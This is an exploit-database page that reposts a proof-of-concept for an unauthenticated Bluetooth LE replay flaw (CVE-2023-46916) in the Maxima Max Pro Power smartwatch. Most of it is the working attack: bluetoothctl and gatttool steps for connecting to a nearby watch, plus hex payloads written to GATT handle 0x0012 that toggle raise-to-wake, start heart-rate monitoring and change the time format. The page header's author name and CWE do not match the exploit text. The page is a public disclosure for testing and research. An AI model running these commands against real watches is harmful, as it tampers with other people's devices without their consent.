Maxima Max Pro Power BLE Traffic Replay

CVE Category Price Severity
CVE-2023-46916 CWE-409 $5,000 High
Author Risk Exploitation Type Date
John Doe Critical Remote 2024-03-06
CVSS:4.0/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Maxima Max Pro Power BLE Traffic Replay
# Exploit Title: Maxima Max Pro Power - BLE Traffic Replay (Unauthenticated)
# Date: 13-Nov-2023
# Exploit Author: Alok kumar ([email protected]), Cyberpwn Technologies Pvt. Ltd.
# Vendor Homepage:
# Product Link:
# Firmware Version: v1.0 486A
# Tested on: Maxima Max Pro Power
# CVE : CVE-2023-46916

# It was observed that an attacker can send crafted HEX values to 0x0012 GATT Charactristic handle on the watch to perform unauthorized actions like change Time display format, update Time, update notifications.
# And since, there is no integrity check for data received by the watch, an attacker can sniff the same value on smartwatch A, which later can be sent to smartwatch B leading unauthorized actions

# Scan for bluetooth LE devices nearby using any capable scanner, bluetoothctl is used in this sudo bluetoothctl scan le

# sudo gattool -I Starts gattool in interactive mode.

# connect <MAC_OF_DEVICE_FROM_STEP_1> Connects to the specified BLE device.

# char-desc Lists all handles for the device.

# Run mtu 247 in Gatttool after connection to set MTU for active connection.

# Run char-read-hnd 0x0054 in Gatttool. Trust And Authorize the device on attacker's machine when prompted.

# "char-write-req 0x0012 ab00000e5422002202002b0009000000059fffffffff" disables Raise to wake feature.

# "char-write-req 0x0012 ab00000ec42f002302002b0009010000059fffffffff" enables Raise to wake feature.

# "char-write-req 0x0012 ab000009c2ee0034050023000400030501" starts Heart Rate monitor

# "char-write-req 0x0012 ab000007c323001902001800020002" sets Time Format to 24 Hrs on smartwatch.

# "char-write-req 0x0012 ab0000070022001802001800020006" sets Time Format to 12 Hrs on smartwatch.

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum